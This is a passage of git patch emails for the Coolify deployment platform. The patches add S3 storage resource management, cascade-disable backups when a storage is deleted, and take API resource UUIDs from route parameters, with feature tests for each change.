false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); From ca3ae289eb7f48bac23ae143ff5c1416b14ab72e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 11:42:29 +0100 Subject: [PATCH 21/49] feat(storage): add resources tab and improve S3 deletion handling Add new Resources tab to storage show page displaying backup schedules using that storage. Refactor storage show layout with navigation tabs for General and Resources sections. Move delete action from form to show component. Implement cascade deletion in S3Storage model to automatically disable S3 backups when storage is deleted. Improve error handling in DatabaseBackupJob to throw exception when S3 storage is missing instead of silently returning. - New Storage/Resources Livewire component - Add resources.blade.php view - Add storage.resources route - Move delete() method from Form to Show component - Add deleting event listener to S3Storage model - Track backup count and current route in Show component - Add #[On('submitStorage')] attribute to form submission --- app/Jobs/DatabaseBackupJob.php | 12 +- app/Livewire/Storage/Form.php | 15 +-- app/Livewire/Storage/Resources.php | 23 ++++ app/Livewire/Storage/Show.php | 20 ++++ app/Models/S3Storage.php | 12 ++ .../views/livewire/storage/form.blade.php | 31 ----- .../livewire/storage/resources.blade.php | 62 ++++++++++ .../views/livewire/storage/show.blade.php | 48 +++++++- routes/web.php | 1 + tests/Feature/DatabaseBackupJobTest.php | 109 ++++++++++++++++++ 10 files changed, 285 insertions(+), 48 deletions(-) create mode 100644 app/Livewire/Storage/Resources.php create mode 100644 resources/views/livewire/storage/resources.blade.php diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 5fc9f6cd8..b55c324be 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -625,10 +625,16 @@ private function calculate_size() private function upload_to_s3(): void { + if (is_null($this->s3)) { + $this->backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.'); + } + try { - if (is_null($this->s3)) { - return; - } $key = $this->s3->key; $secret = $this->s3->secret; // $region = $this->s3->region; diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 4dc0b6ae2..791226334 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -6,6 +6,7 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; +use Livewire\Attributes\On; use Livewire\Component; class Form extends Component @@ -131,19 +132,7 @@ public function testConnection() } } - public function delete() - { - try { - $this->authorize('delete', $this->storage); - - $this->storage->delete(); - - return redirect()->route('storage.index'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - + #[On('submitStorage')] public function submit() { try { diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php new file mode 100644 index 000000000..f17175013 --- /dev/null +++ b/app/Livewire/Storage/Resources.php @@ -0,0 +1,23 @@ +storage->id) + ->with('database') + ->get(); + + return view('livewire.storage.resources', [ + 'backups' => $backups, + ]); + } +} diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index fdf3d0d28..dc5121e94 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Models\ScheduledDatabaseBackup; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -12,6 +13,10 @@ class Show extends Component public $storage = null; + public string $currentRoute = ''; + + public int $backupCount = 0; + public function mount() { $this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first(); @@ -19,6 +24,21 @@ public function mount() abort(404); } $this->authorize('view', $this->storage); + $this->currentRoute = request()->route()->getName(); + $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count(); + } + + public function delete() + { + try { + $this->authorize('delete', $this->storage); + + $this->storage->delete(); + + return redirect()->route('storage.index'); + } catch (\Throwable $e) { + return handleError($e, $this); + } } public function render() diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index 3aae55966..f395a065c 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -40,6 +40,13 @@ protected static function boot(): void $storage->secret = trim($storage->secret); } }); + + static::deleting(function (S3Storage $storage) { + ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + }); } public static function ownedByCurrentTeam(array $select = ['*']) @@ -59,6 +66,11 @@ public function team() return $this->belongsTo(Team::class); } + public function scheduledBackups() + { + return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id'); + } + public function awsUrl() { return "{$this->endpoint}/{$this->bucket}"; diff --git a/resources/views/livewire/storage/form.blade.php b/resources/views/livewire/storage/form.blade.php index 850d7735f..3d9fd322b 100644 --- a/resources/views/livewire/storage/form.blade.php +++ b/resources/views/livewire/storage/form.blade.php @@ -1,36 +1,5 @@
-
-
-

Storage Details

-
{{ $storage->name }}
-
-
Current Status:
- @if ($isUsable) - - Usable - - @else - - Not Usable - - @endif -
-
- Save - - @can('delete', $storage) - - @endcan -
diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php new file mode 100644 index 000000000..29d26d4f5 --- /dev/null +++ b/resources/views/livewire/storage/resources.blade.php @@ -0,0 +1,62 @@ +
+
+ @forelse ($backups as $backup) + @php + $database = $backup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $link = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $link = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + @endphp + @if ($link) + + @else + + @endif + @empty +
+
No backup schedules are using this storage.
+
+ @endforelse +
+
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index 1c3a11a69..e54de37f3 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -2,5 +2,51 @@ {{ data_get_str($storage, 'name')->limit(10) }} >Storages | Coolify - + +
+

Storage Details

+ @if ($storage->is_usable) + + Usable + + @else + + Not Usable + + @endif + Save + @can('delete', $storage) + + @endcan +
+
{{ $storage->name }}
+ + + +
+ @if ($currentRoute === 'storage.show') + + @elseif ($currentRoute === 'storage.resources') + + @endif +
diff --git a/routes/web.php b/routes/web.php index 26863aa17..27763f121 100644 --- a/routes/web.php +++ b/routes/web.php @@ -140,6 +140,7 @@ Route::prefix('storages')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); + Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php index d7efc2bcd..37c377dab 100644 --- a/tests/Feature/DatabaseBackupJobTest.php +++ b/tests/Feature/DatabaseBackupJobTest.php @@ -1,6 +1,10 @@ toHaveKey('s3_storage_deleted'); expect($casts['s3_storage_deleted'])->toBe('boolean'); }); + +test('upload_to_s3 throws exception and disables s3 when storage is null', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => 99999, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $s3Property = $reflection->getProperty('s3'); + $s3Property->setValue($job, null); + + $method = $reflection->getMethod('upload_to_s3'); + + expect(fn () => $method->invoke($job)) + ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +test('deleting s3 storage disables s3 on linked backups', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + $backup1 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + $backup2 = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandaloneMysql', + 'database_id' => 2, + 'team_id' => $team->id, + ]); + + // Unrelated backup should not be affected + $unrelatedBackup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 3, + 'team_id' => $team->id, + ]); + + $s3->delete(); + + $backup1->refresh(); + $backup2->refresh(); + $unrelatedBackup->refresh(); + + expect($backup1->save_s3)->toBeFalsy(); + expect($backup1->s3_storage_id)->toBeNull(); + expect($backup2->save_s3)->toBeFalsy(); + expect($backup2->s3_storage_id)->toBeNull(); + expect($unrelatedBackup->save_s3)->toBeTruthy(); +}); + +test('s3 storage has scheduled backups relationship', function () { + $team = Team::factory()->create(); + + $s3 = S3Storage::create([ + 'name' => 'Test S3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $team->id, + ]); + + ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $s3->id, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + + expect($s3->scheduledBackups()->count())->toBe(1); +}); From 86c8ec9c20b7f2f4dcc8ed1b75efa39b7b2b2763 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:04:16 +0100 Subject: [PATCH 22/49] feat(storage): group backups by database and filter by s3 status Group backup schedules by their parent database (type + ID) for better organization in the UI. Filter to only display backups with save_s3 enabled. Restructure the template to show database name as a header with nested backups underneath, allowing clearer visualization of which backups belong to each database. Add key binding to livewire component to ensure proper re-rendering when resources change. --- app/Livewire/Storage/Resources.php | 6 +- .../livewire/storage/resources.blade.php | 123 ++++++++++-------- .../views/livewire/storage/show.blade.php | 2 +- 3 files changed, 76 insertions(+), 55 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index f17175013..30ac67066 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -13,11 +13,13 @@ class Resources extends Component public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) ->with('database') - ->get(); + ->get() + ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); return view('livewire.storage.resources', [ - 'backups' => $backups, + 'groupedBackups' => $backups, ]); } } diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 29d26d4f5..4fdef1e4b 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,62 +1,81 @@
-
- @forelse ($backups as $backup) - @php - $database = $backup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $link = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $link = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; + @forelse ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; $project = $environment?->project; if ($project && $environment) { - $link = route('project.database.backup.index', [ + $resourceLink = route('project.service.configuration', [ 'project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, + 'service_uuid' => $service->uuid, ]); } } - @endphp - @if ($link) - - @else - - @endif - @empty -
-
No backup schedules are using this storage.
+ } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp +
+
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif
- @endforelse -
+
+ @foreach ($backups as $backup) + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + + @else + + @endif + @endforeach +
+
+ @empty +
No backup schedules are using this storage.
+ @endforelse
diff --git a/resources/views/livewire/storage/show.blade.php b/resources/views/livewire/storage/show.blade.php index e54de37f3..0d580486e 100644 --- a/resources/views/livewire/storage/show.blade.php +++ b/resources/views/livewire/storage/show.blade.php @@ -46,7 +46,7 @@ @if ($currentRoute === 'storage.show') @elseif ($currentRoute === 'storage.resources') - + @endif
From ce5e736b00d493ab2863b3ab666d50d8a8c1e0e8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 12:48:52 +0100 Subject: [PATCH 23/49] feat(storage): add storage management for backup schedules Add ability to move backups between S3 storages and disable S3 backups. Refactor storage resources view from cards to table layout with search functionality and storage selection dropdowns. --- app/Livewire/Storage/Resources.php | 60 ++++++ resources/css/app.css | 2 +- .../livewire/storage/resources.blade.php | 182 ++++++++++-------- 3 files changed, 165 insertions(+), 79 deletions(-) diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 30ac67066..643ecb3eb 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -10,6 +10,61 @@ class Resources extends Component { public S3Storage $storage; + public array $selectedStorages = []; + + public function mount(): void + { + $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) + ->get(); + + foreach ($backups as $backup) { + $this->selectedStorages[$backup->id] = $this->storage->id; + } + } + + public function disableS3(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + + $backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + } + + public function moveBackup(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $newStorageId = $this->selectedStorages[$backupId] ?? null; + + if (! $newStorageId || (int) $newStorageId === $this->storage->id) { + $this->dispatch('error', 'No change.', 'The backup is already using this storage.'); + + return; + } + + $newStorage = S3Storage::where('id', $newStorageId) + ->where('team_id', $this->storage->team_id) + ->first(); + + if (! $newStorage) { + $this->dispatch('error', 'Storage not found.'); + + return; + } + + $backup->update(['s3_storage_id' => $newStorage->id]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); + } + public function render() { $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) @@ -18,8 +73,13 @@ public function render() ->get() ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); + $allStorages = S3Storage::where('team_id', $this->storage->team_id) + ->orderBy('name') + ->get(['id', 'name', 'is_usable']); + return view('livewire.storage.resources', [ 'groupedBackups' => $backups, + 'allStorages' => $allStorages, ]); } } diff --git a/resources/css/app.css b/resources/css/app.css index eeba1ee01..3cfa03dae 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -163,7 +163,7 @@ tbody { } tr { - @apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200; + @apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100; } tr th { diff --git a/resources/views/livewire/storage/resources.blade.php b/resources/views/livewire/storage/resources.blade.php index 4fdef1e4b..481e7ccab 100644 --- a/resources/views/livewire/storage/resources.blade.php +++ b/resources/views/livewire/storage/resources.blade.php @@ -1,81 +1,107 @@ -
- @forelse ($groupedBackups as $backups) - @php - $firstBackup = $backups->first(); - $database = $firstBackup->database; - $databaseName = $database?->name ?? 'Deleted database'; - $resourceLink = null; - $backupParams = null; - if ($database && $database instanceof \App\Models\ServiceDatabase) { - $service = $database->service; - if ($service) { - $environment = $service->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.service.configuration', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'service_uuid' => $service->uuid, - ]); - } - } - } elseif ($database) { - $environment = $database->environment; - $project = $environment?->project; - if ($project && $environment) { - $resourceLink = route('project.database.backup.index', [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]); - $backupParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $environment->uuid, - 'database_uuid' => $database->uuid, - ]; - } - } - @endphp -
-
- @if ($resourceLink) - {{ $databaseName }} - @else - {{ $databaseName }} - @endif -
-
- @foreach ($backups as $backup) - @php - $backupLink = null; - if ($backupParams) { - $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ - 'backup_uuid' => $backup->uuid, - ])); - } - @endphp - @if ($backupLink) - - @else - - @endif - @endforeach +
+ + @if ($groupedBackups->count() > 0) +
+
+
+ + + + + + + + + + + @foreach ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp + @foreach ($backups as $backup) + + + + + + + @endforeach + @endforeach + +
DatabaseFrequencyStatusS3 Storage
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif + + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + {{ $backup->frequency }} + @else + {{ $backup->frequency }} + @endif + + @if ($backup->enabled) + Enabled + @else + Disabled + @endif + +
+ + Save + Disable S3 +
+
+
- @empty -
No backup schedules are using this storage.
- @endforelse + @else +
No backup schedules are using this storage.
+ @endif
From 8a164735cb3bb046aa8d5a10e3f6d077bd961dce Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 21:56:58 +0100 Subject: [PATCH 24/49] fix(api): extract resource UUIDs from route parameters Extract resource UUIDs from route parameters instead of request body in ApplicationsController and ServicesController environment variable endpoints. This prevents UUID parameters from being spoofed in the request body. - Replace $request->uuid with $request->route('uuid') - Replace $request->env_uuid with $request->route('env_uuid') - Add tests verifying route parameters are used and body UUIDs ignored --- .../Api/ApplicationsController.php | 10 +-- .../Controllers/Api/ServicesController.php | 10 +-- .../EnvironmentVariableUpdateApiTest.php | 62 ++++++++++++++++++- 3 files changed, 71 insertions(+), 11 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6f34b43bf..5819441b7 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2957,7 +2957,7 @@ public function update_env_by_uuid(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3158,7 +3158,7 @@ public function create_bulk_envs(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3352,7 +3352,7 @@ public function create_env(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3509,7 +3509,7 @@ public function delete_env_by_uuid(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3519,7 +3519,7 @@ public function delete_env_by_uuid(Request $request) $this->authorize('manageEnvironment', $application); - $found_env = EnvironmentVariable::where('uuid', $request->env_uuid) + $found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Application::class) ->where('resourceable_id', $application->id) ->first(); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 32097443e..de504c1a4 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1207,7 +1207,7 @@ public function update_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1342,7 +1342,7 @@ public function create_bulk_envs(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1461,7 +1461,7 @@ public function create_env(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1570,14 +1570,14 @@ public function delete_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } $this->authorize('manageEnvironment', $service); - $env = EnvironmentVariable::where('uuid', $request->env_uuid) + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Service::class) ->where('resourceable_id', $service->id) ->first(); diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php index 9c45dc5ae..1ff528bbf 100644 --- a/tests/Feature/EnvironmentVariableUpdateApiTest.php +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -3,6 +3,7 @@ use App\Models\Application; use App\Models\Environment; use App\Models\EnvironmentVariable; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\Server; use App\Models\Service; @@ -14,6 +15,8 @@ uses(RefreshDatabase::class); beforeEach(function () { + InstanceSettings::updateOrCreate(['id' => 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -24,7 +27,7 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); $this->project = Project::factory()->create(['team_id' => $this->team->id]); $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); }); @@ -117,6 +120,35 @@ $response->assertStatus(422); }); + + test('uses route uuid and ignores uuid in request body', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['key' => 'TEST_KEY']); + }); }); describe('PATCH /api/v1/applications/{uuid}/envs', function () { @@ -191,4 +223,32 @@ $response->assertStatus(422); }); + + test('rejects unknown fields in request body', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(422); + $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]); + }); }); From fb76b68c0822df5616320d8fbc8624fd0d8b3d17 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 22:17:55 +0100 Subject: [PATCH 25/49] feat(api): support comments in bulk environment variable endpoints Add support for optional comment field on environment variables created or updated through the bulk API endpoints. Comments are validated to a maximum of 256 characters and are nullable. Updates preserve existing comments when not provided in the request. --- .../Api/ApplicationsController.php | 11 +- .../Controllers/Api/ServicesController.php | 1 + .../EnvironmentVariableBulkCommentApiTest.php | 244 ++++++++++++++++++ 3 files changed, 255 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/EnvironmentVariableBulkCommentApiTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 5819441b7..3444f9f14 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3175,7 +3175,7 @@ public function create_bulk_envs(Request $request) ], 400); } $bulk_data = collect($bulk_data)->map(function ($item) { - return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']); + return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']); }); $returnedEnvs = collect(); foreach ($bulk_data as $item) { @@ -3188,6 +3188,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { return response()->json([ @@ -3220,6 +3221,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3231,6 +3235,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 